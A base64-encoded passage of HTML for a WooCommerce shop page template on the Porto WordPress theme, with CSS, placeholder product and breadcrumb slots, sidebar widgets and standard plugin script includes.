i10b3A6IDIwcHg7DQogICAgICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDBweDsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTUyMiAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtZjdmZWQ2OSAucG9ydG8taWJhbm5lci1sYXllciB7DQogICAgICAgICAgICAgICAgICAgIHdpZHRoOiA2NCU7DQogICAgICAgICAgICAgICAgICAgIHRleHQtYWxpZ246IHJpZ2h0Ow0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIC5lbGVtZW50b3ItNTIyIC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC1lNzQ2MmY1IC5lbGVtZW50b3ItaGVhZGluZy10aXRsZSB7DQogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjRUU4Mzc5Ow0KICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDEuMzc1ZW07DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgLmVsZW1lbnRvci01MjIgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LWJiMzYyMzMgLmVsZW1lbnRvci1oZWFkaW5nLXRpdGxlIHsNCiAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAxLjg1ZW07DQogICAgICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjVlbTsNCiAgICAgICAgICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IC0wLjVweDsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTUyMiAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMTE0YWI2ZCAuZWxlbWVudG9yLWhlYWRpbmctdGl0bGUgew0KICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6IDEuMTI1ZW07DQogICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7DQogICAgICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjVlbTsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBAbWVkaWEgKG1heC13aWR0aDogOTkxcHgpIHsNCiAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci01MjIgLmVsZW1lbnRvci1lbGVtZW50LmVsZW1lbnRvci1lbGVtZW50LWJiMzYyMzMgLmVsZW1lbnRvci1oZWFkaW5nLXRpdGxlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGxldHRlci1zcGFjaW5nOiAtMC4zcHg7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBAbWVkaWEgKG1pbi13aWR0aDogMTQ0MHB4KSB7DQogICAgICAgICAgICAgICAgICAgIC5ob21lLW1pZC1iYW5uZXIgew0KICAgICAgICAgICAgICAgICAgICAgICAgbWFyZ2luLXRvcDogNDBweCAhaW1wb3J0YW50DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9PC9zdHlsZT4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwb3J0by1ibG9jayBlbGVtZW50b3IgZWxlbWVudG9yLTUyMiIgZGF0YS1pZD0iNTIyIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyLWZsdWlkIj48L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICAgICAgPHNlY3Rpb24gY2xhc3M9InBhZ2UtdG9wIHBhZ2UtaGVhZGVyLTYiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIGhpZGUtdGl0bGUiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1sZy0xMiBjbGVhcmZpeCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwdC1yaWdodCBkLW5vbmUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMSBjbGFzcz0icGFnZS10aXRsZSI+U2hvcDwvaDE+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJyZWFkY3J1bWJzLXdyYXAgcHQtbGVmdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJicmVhZGNydW1iIiBpdGVtc2NvcGUgaXRlbXR5cGU9Imh0dHBzOi8vc2NoZW1hLm9yZy9CcmVhZGNydW1iTGlzdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0iaG9tZSIgaXRlbXByb3A9Iml0ZW1MaXN0RWxlbWVudCIgaXRlbXNjb3BlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdGVtdHlwZT0iaHR0cHM6Ly9zY2hlbWEub3JnL0xpc3RJdGVtIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHt7Y29sbGVjdGlvbl9icmVhZGNydW1ifX0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxtZXRhIGl0ZW1wcm9wPSJwb3NpdGlvbiIgY29udGVudD0iMSIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImRlbGltaXRlciBkZWxpbWl0ZXItMiI+PC9pPjwvbGk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBpdGVtcHJvcD0iaXRlbUxpc3RFbGVtZW50IiBpdGVtc2NvcGUgaXRlbXR5cGU9Imh0dHBzOi8vc2NoZW1hLm9yZy9MaXN0SXRlbSI+PHNwYW4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdGVtcHJvcD0ibmFtZSI+U2hvcDwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxtZXRhIGl0ZW1wcm9wPSJwb3NpdGlvbiIgY29udGVudD0iMiIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG1ldGEgaXRlbXNjb3BlIGl0ZW10eXBlPSJodHRwczovL3NjaGVtYS5vcmcvVGhpbmciIGl0ZW1wcm9wPSJpdGVtIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudD0ic2hvcCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L3NlY3Rpb24+DQoNCiAgICAgICAgPGRpdiBpZD0ibWFpbiIgY2xhc3M9ImNvbHVtbjIgY29sdW1uMi1yaWdodC1zaWRlYmFyIHdpZGUgY2xlYXJmaXgiPjwhLS0gbWFpbiAtLT4NCg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyLWZsdWlkIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3cgbWFpbi1jb250ZW50LXdyYXAiPg0KDQogICAgICAgICAgICAgICAgICAgIDwhLS0gbWFpbiBjb250ZW50IC0tPg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQgY29sLWxnLTkiPg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9InByaW1hcnkiIGNsYXNzPSJjb250ZW50LWFyZWEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxtYWluIGlkPSJjb250ZW50IiBjbGFzcz0ic2l0ZS1tYWluIj4NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Indvb2NvbW1lcmNlLW5vdGljZXMtd3JhcHBlciI+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNob3AtbG9vcC1iZWZvcmUiPjxhIGhyZWY9IiMiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJwb3J0by1wcm9kdWN0LWZpbHRlcnMtdG9nZ2xlIHNpZGViYXItdG9nZ2xlIGQtaW5saW5lLWZsZXgiPjxpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xhc3M9ImZhcyBmYS1zbGlkZXJzLWgiPjwvaT4gPHNwYW4+RmlsdGVyczwvc3Bhbj48L2E+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bmF2IGNsYXNzPSJ3b29jb21tZXJjZS1wYWdpbmF0aW9uIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9J3BhZ2UtbnVtYmVycyc+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHt7Y29sbGVjdGlvbl9uZXh0fX0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3VsPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9uYXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJhcmNoaXZlLXByb2R1Y3RzIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0icHJvZHVjdHMgcHJvZHVjdHMtY29udGFpbmVyIGdyaWQgcGNvbHMtbGctNSBwY29scy1tZC00IHBjb2xzLXhzLTMgcGNvbHMtbHMtMiBwd2lkdGgtbGctNSBwd2lkdGgtbWQtNCBwd2lkdGgteHMtMyBwd2lkdGgtbHMtMiBpcy1zaG9ydGNvZGUiIGRhdGEtcHJvZHVjdF9sYXlvdXQ9InByb2R1Y3QtZGVmYXVsdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAge3twcm9kdWN0X2xpc3R9fQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNob3AtbG9vcC1hZnRlciBjbGVhcmZpeCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bmF2IGNsYXNzPSJ3b29jb21tZXJjZS1wYWdpbmF0aW9uIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9J3BhZ2UtbnVtYmVycyc+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHt7Y29sbGVjdGlvbl90dXJuX3BhZ2V9fQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdWw+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L25hdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9tYWluPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj48IS0tIGVuZCBtYWluIGNvbnRlbnQgLS0+DQoNCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2lkZWJhci1vdmVybGF5Ij48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLWxnLTMgc2lkZWJhciBwb3J0by13b28tY2F0ZWdvcnktc2lkZWJhciByaWdodC1zaWRlYmFyIG1vYmlsZS1zaWRlYmFyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gbWFpbiBzaWRlYmFyIC0tPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2lkZWJhci1jb250ZW50Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YXNpZGUgaWQ9Indvb2NvbW1lcmNlX3Byb2R1Y3RfY2F0ZWdvcmllcy0yIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0id2lkZ2V0IHdvb2NvbW1lcmNlIHdpZGdldF9wcm9kdWN0X2NhdGVnb3JpZXMiPjxoMyBjbGFzcz0id2lkZ2V0LXRpdGxlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2F0ZWdvcmllczwvaDM+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0icHJvZHVjdC1jYXRlZ29yaWVzIj57e2NvbGxlY3Rpb25fc3ViX2NhdGVnb3J5fX08L3VsPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYXNpZGU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGFzaWRlIGlkPSJ3b29jb21tZXJjZV9wcmljZV9maWx0ZXItMyIgY2xhc3M9IndpZGdldCB3b29jb21tZXJjZSB3aWRnZXRfcHJpY2VfZmlsdGVyIj48aDMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJ3aWRnZXQtdGl0bGUiPlByaWNlPC9oMz48L2FzaWRlPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2PjwhLS0gZW5kIG1haW4gc2lkZWJhciAtLT4NCg0KDQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCg0KDQogICAgICAgIDwvZGl2PjwhLS0gZW5kIG1haW4gLS0+DQoNCg0KICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXItd3JhcHBlciI+DQoNCiAgICAgICAgICAgIDxkaXYgaWQ9ImZvb3RlciIgY2xhc3M9ImZvb3RlciBmb290ZXItMyINCiAgICAgICAgICAgID4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXItYm90dG9tIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1sZWZ0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7e2Zvb3Rlcl9jb3B5cmlnaHR9fQ0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1yaWdodCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBjbGFzcz0iaW1nLXJlc3BvbnNpdmUgZm9vdGVyLXBheW1lbnQtaW1nIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3JjPSIvd3AtY29udGVudC91cGxvYWRzLzIwMjAvMDEvc2hvcDEwX3BheW1lbnQtMS5wbmciIGFsdD0iUGF5bWVudCBHYXRld2F5cyIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCg0KDQogICAgICAgIDwvZGl2Pg0KDQogICAgPC9kaXY+DQoNCjwvZGl2PjwhLS0gZW5kIHdyYXBwZXIgLS0+DQo8ZGl2IGNsYXNzPSJhZnRlci1sb2FkaW5nLXN1Y2Nlc3MtbWVzc2FnZSBzdHlsZS0yIj4NCiAgICA8ZGl2IGNsYXNzPSJiYWNrZ3JvdW5kLW92ZXJsYXkiPjwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9ImxvYWRlciBzdWNjZXNzLW1lc3NhZ2UtY29udGFpbmVyIj4NCiAgICAgICAgPGRpdiBjbGFzcz0ibXNnLWJveCI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtc2ciPllvdSYjMDM5O3ZlIGp1c3QgYWRkZWQgdGhpcyBwcm9kdWN0IHRvIHRoZSBjYXJ0OjxwDQogICAgICAgICAgICAgICAgICAgIGNsYXNzPSJwcm9kdWN0LW5hbWUgdGV4dC1jb2xvci1wcmltYXJ5Ij48L3A+PC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8YnV0dG9uIGNsYXNzPSJidXR0b24gYnRuLXByaW1heSB2aWV3Y2FydCIgZGF0YS1saW5rPSIiPlZpZXcgQ2FydDwvYnV0dG9uPg0KICAgICAgICA8YnV0dG9uIGNsYXNzPSJidXR0b24gYnRuLXByaW1heSBjb250aW51ZV9zaG9wcGluZyI+Q29udGludWU8L2J1dHRvbj4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8ZGl2IGNsYXNzPSJwYW5lbC1vdmVybGF5Ij48L2Rpdj4NCjxkaXYgaWQ9InNpZGUtbmF2LXBhbmVsIiBjbGFzcz0iIj4NCiAgICA8YSBocmVmPSIjIiBhcmlhLWxhYmVsPSJNb2JpbGUgQ2xvc2UiIGNsYXNzPSJzaWRlLW5hdi1wYW5lbC1jbG9zZSI+PGkgY2xhc3M9ImZhcyBmYS10aW1lcyI+PC9pPjwvYT4NCiAgICA8ZGl2IGNsYXNzPSJzd2l0Y2hlci13cmFwIj48L2Rpdj4NCiAgICA8ZGl2IGNsYXNzPSJtZW51LXdyYXAiPjx1bCBpZD0ibWVudS1tYWluLW1lbnUtMSIgY2xhc3M9Im1vYmlsZS1tZW51IGFjY29yZGlvbi1tZW51Ij57e3Byb2R1Y3RfY2F0ZWdvcnlfbW9iaWxlfX08L3VsPjwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9InNoYXJlLWxpbmtzIj48YSB0YXJnZXQ9Il9ibGFuayIgcmVsPSJub2ZvbGxvdyBub29wZW5lciBub3JlZmVycmVyIiBjbGFzcz0ic2hhcmUtZmFjZWJvb2siIGhyZWY9IiMiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpdGxlPSJGYWNlYm9vayI+PC9hPg0KICAgICAgICA8YSB0YXJnZXQ9Il9ibGFuayIgcmVsPSJub2ZvbGxvdyBub29wZW5lciBub3JlZmVycmVyIiBjbGFzcz0ic2hhcmUtdHdpdHRlciIgaHJlZj0iIyIgdGl0bGU9IlR3aXR0ZXIiPjwvYT4NCiAgICAgICAgPGEgdGFyZ2V0PSJfYmxhbmsiIHJlbD0ibm9mb2xsb3cgbm9vcGVuZXIgbm9yZWZlcnJlciIgY2xhc3M9InNoYXJlLWluc3RhZ3JhbSIgaHJlZj0iIyIgdGl0bGU9Ikluc3RhZ3JhbSI+PC9hPg0KICAgIDwvZGl2Pg0KPC9kaXY+DQoNCjxzY3JpcHQ+DQogICAgd2luZG93LlJTX01PRFVMRVMgPSB3aW5kb3cuUlNfTU9EVUxFUyB8fCB7fTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy5tb2R1bGVzID0gd2luZG93LlJTX01PRFVMRVMubW9kdWxlcyB8fCB7fTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy53YWl0aW5nID0gd2luZG93LlJTX01PRFVMRVMud2FpdGluZyB8fCBbXTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy5kZWZlcmVkID0gdHJ1ZTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy5tb2R1bGVXYWl0aW5nID0gd2luZG93LlJTX01PRFVMRVMubW9kdWxlV2FpdGluZyB8fCB7fTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy50eXBlID0gJ2NvbXBpbGVkJzsNCjwvc2NyaXB0Pg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KICAgIChmdW5jdGlvbiAoKSB7DQogICAgICAgIHZhciBjID0gZG9jdW1lbnQuYm9keS5jbGFzc05hbWU7DQogICAgICAgIGMgPSBjLnJlcGxhY2UoL3dvb2NvbW1lcmNlLW5vLWpzLywgJ3dvb2NvbW1lcmNlLWpzJyk7DQogICAgICAgIGRvY3VtZW50LmJvZHkuY2xhc3NOYW1lID0gYzsNCiAgICB9KSgpOw0KPC9zY3JpcHQ+DQo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdycy1wbHVnaW4tc2V0dGluZ3MtY3NzJw0KICAgICAgaHJlZj0nL3dwLWNvbnRlbnQvcGx1Z2lucy9yZXZzbGlkZXIvcHVibGljL2Fzc2V0cy9jc3MvcnM2LmNzcz92ZXI9Ni41LjIwJyBtZWRpYT0nYWxsJy8+DQo8c3R5bGUgaWQ9J3JzLXBsdWdpbi1zZXR0aW5ncy1pbmxpbmUtY3NzJz4NCiAgICAjcnMtZGVtby1pZCB7DQogICAgfQ0KPC9zdHlsZT4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL2NvbnRhY3QtZm9ybS03L2luY2x1ZGVzL3N3di9qcy9pbmRleC5qcz92ZXI9NS43LjMnIGlkPSdzd3YtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBpZD0nY29udGFjdC1mb3JtLTctanMtZXh0cmEnPg0KICAgIHZhciB3cGNmNyA9IHsiYXBpIjogeyJyb290IjogIlwvd3AtanNvblwvIiwgIm5hbWVzcGFjZSI6ICJjb250YWN0LWZvcm0tN1wvdjEifX07DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL2NvbnRhY3QtZm9ybS03L2luY2x1ZGVzL2pzL2luZGV4LmpzP3Zlcj01LjcuMycgaWQ9J2NvbnRhY3QtZm9ybS03LWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3JldnNsaWRlci9wdWJsaWMvYXNzZXRzL2pzL3JidG9vbHMubWluLmpzP3Zlcj02LjUuMTgnIGRlZmVyIGFzeW5jDQogICAgICAgIGlkPSd0cC10b29scy1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy9yZXZzbGlkZXIvcHVibGljL2Fzc2V0cy9qcy9yczYubWluLmpzP3Zlcj02LjUuMjAnIGRlZmVyIGFzeW5jIGlkPSdyZXZtaW4tanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvYXNzZXRzL2pzL2pxdWVyeS1ibG9ja3VpL2pxdWVyeS5ibG9ja1VJLm1pbi5qcz92ZXI9Mi43LjAtd2MuNi43LjAnDQogICAgICAgIGlkPSdqcXVlcnktYmxvY2t1aS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSd3Yy1hZGQtdG8tY2FydC1qcy1leHRyYSc+DQogICAgdmFyIHdjX2FkZF90b19jYXJ0X3BhcmFtcyA9IHsNCiAgICAgICAgImFqYXhfdXJsIjogIlwvc2Fhcy1zZW9cL2FkbWluLWFqYXgucGhwIiwNCiAgICAgICAgIndjX2FqYXhfdXJsIjogIlwvP3djLWFqYXg9JSVlbmRwb2ludCUlIiwNCiAgICAgICAgImkxOG5fdmlld19jYXJ0IjogIlZpZXcgY2FydCIsDQogICAgICAgICJjYXJ0X3VybCI6ICJcL2NhcnQiLA0KICAgICAgICAiaXNfY2FydCI6ICIiLA0KICAgICAgICAiY2FydF9yZWRpcmVjdF9hZnRlcl9hZGQiOiAibm8iDQogICAgfTsNCjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvYXNzZXRzL2pzL2Zyb250ZW5kL2FkZC10by1jYXJ0Lm1pbi5qcz92ZXI9Ni43LjAnDQogICAgICAgIGlkPSd3Yy1hZGQtdG8tY2FydC1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy93b29jb21tZXJjZS9hc3NldHMvanMvanMtY29va2llL2pzLmNvb2tpZS5taW4uanM/dmVyPTIuMS40LXdjLjYuNy4wJw0KICAgICAgICBpZD0nanMtY29va2llLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgaWQ9J3dvb2NvbW1lcmNlLWpzLWV4dHJhJz4NCiAgICB2YXIgd29vY29tbWVyY2VfcGFyYW1zID0geyJhamF4X3VybCI6ICJcL3NhYXMtc2VvXC9hZG1pbi1hamF4LnBocCIsICJ3Y19hamF4X3VybCI6ICJcLz93Yy1hamF4PSUlZW5kcG9pbnQlJSJ9Ow0KPC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy93b29jb21tZXJjZS9hc3NldHMvanMvZnJvbnRlbmQvd29vY29tbWVyY2UubWluLmpzP3Zlcj02LjcuMCcNCiAgICAgICAgaWQ9J3dvb2NvbW1lcmNlLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgaWQ9J3djLWNhcnQtZnJhZ21lbnRzLWpzLWV4dHJhJz4NCiAgICB2YXIgd2NfY2FydF9mcmFnbWVudHNfcGFyYW1zID0gew0KICAgICAgICAiYWpheF91cmwiOiAiXC9zYWFzLXNlb1wvYWRtaW4tYWpheC5waHAiLA0KICAgICAgICAid2NfYWpheF91cmwiOiAiXC8/d2MtYWpheD0lJWVuZHBvaW50JSUiLA0KICAgICAgICAiY2FydF9oYXNoX2tleSI6ICJ3Y19jYXJ0X2hhc2hfYWI2ODE0MTE1OGI5ZjZiYmI3MzY3ZmMwNjlhYjJjYWYiLA0KICAgICAgICAiZnJhZ21lbnRfbmFtZSI6ICJ3Y19mcmFnbWVudHNfYWI2ODE0MTE1OGI5ZjZiYmI3MzY3ZmMwNjlhYjJjYWYiLA0KICAgICAgICAicmVxdWVzdF90aW1lb3V0IjogIjUwMDAiDQogICAgfTsNCjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvYXNzZXRzL2pzL2Zyb250ZW5kL2NhcnQtZnJhZ21lbnRzLm1pbi5qcz92ZXI9Ni43LjAnDQogICAgICAgIGlkPSd3Yy1jYXJ0LWZyYWdtZW50cy1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSdwb3J0by1saXZlLXNlYXJjaC1qcy1leHRyYSc+DQogICAgdmFyIHBvcnRvX2xpdmVfc2VhcmNoID0geyJub25jZSI6ICJmODkyZGQ5NDY5In07DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vaW5jL2xpYi9saXZlLXNlYXJjaC9saXZlLXNlYXJjaC5taW4uanM/dmVyPTYuNy4yJw0KICAgICAgICBpZD0ncG9ydG8tbGl2ZS1zZWFyY2gtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9qcy9ib290c3RyYXAuanM/dmVyPTUuMC4xJyBpZD0nYm9vdHN0cmFwLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL2Fzc2V0cy9qcy9qcXVlcnktY29va2llL2pxdWVyeS5jb29raWUubWluLmpzP3Zlcj0xLjQuMS13Yy42LjcuMCcNCiAgICAgICAgaWQ9J2pxdWVyeS1jb29raWUtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9qcy9saWJzL293bC5jYXJvdXNlbC5taW4uanM/dmVyPTIuMy40JyBpZD0nb3dsLmNhcm91c2VsLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtaW5jbHVkZXMvanMvaW1hZ2VzbG9hZGVkLm1pbi5qcz92ZXI9NC4xLjQnIGlkPSdpbWFnZXNsb2FkZWQtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBhc3luYz0iYXN5bmMiIHNyYz0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2pzL2xpYnMvanF1ZXJ5Lm1hZ25pZmljLXBvcHVwLm1pbi5qcz92ZXI9MS4xLjAnDQogICAgICAgIGlkPSdqcXVlcnktbWFnbmlmaWMtcG9wdXAtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBpZD0ncG9ydG8tdGhlbWUtanMtZXh0cmEnPg0KICAgIHZhciBqc19wb3J0b192YXJzID0gew0KICAgICAgICAicnRsIjogIiIsDQogICAgICAgICJ0aGVtZV91cmwiOiAiXC93cC1jb250ZW50XC90aGVtZXNcL3BvcnRvIiwNCiAgICAgICAgImFqYXhfdXJsIjogIlwvc2Fhcy1zZW9cL2FkbWluLWFqYXgucGhwIiwNCiAgICAgICAgImNoYW5nZV9sb2dvIjogIjEiLA0KICAgICAgICAiY29udGFpbmVyX3dpZHRoIjogIjExNDAiLA0KICAg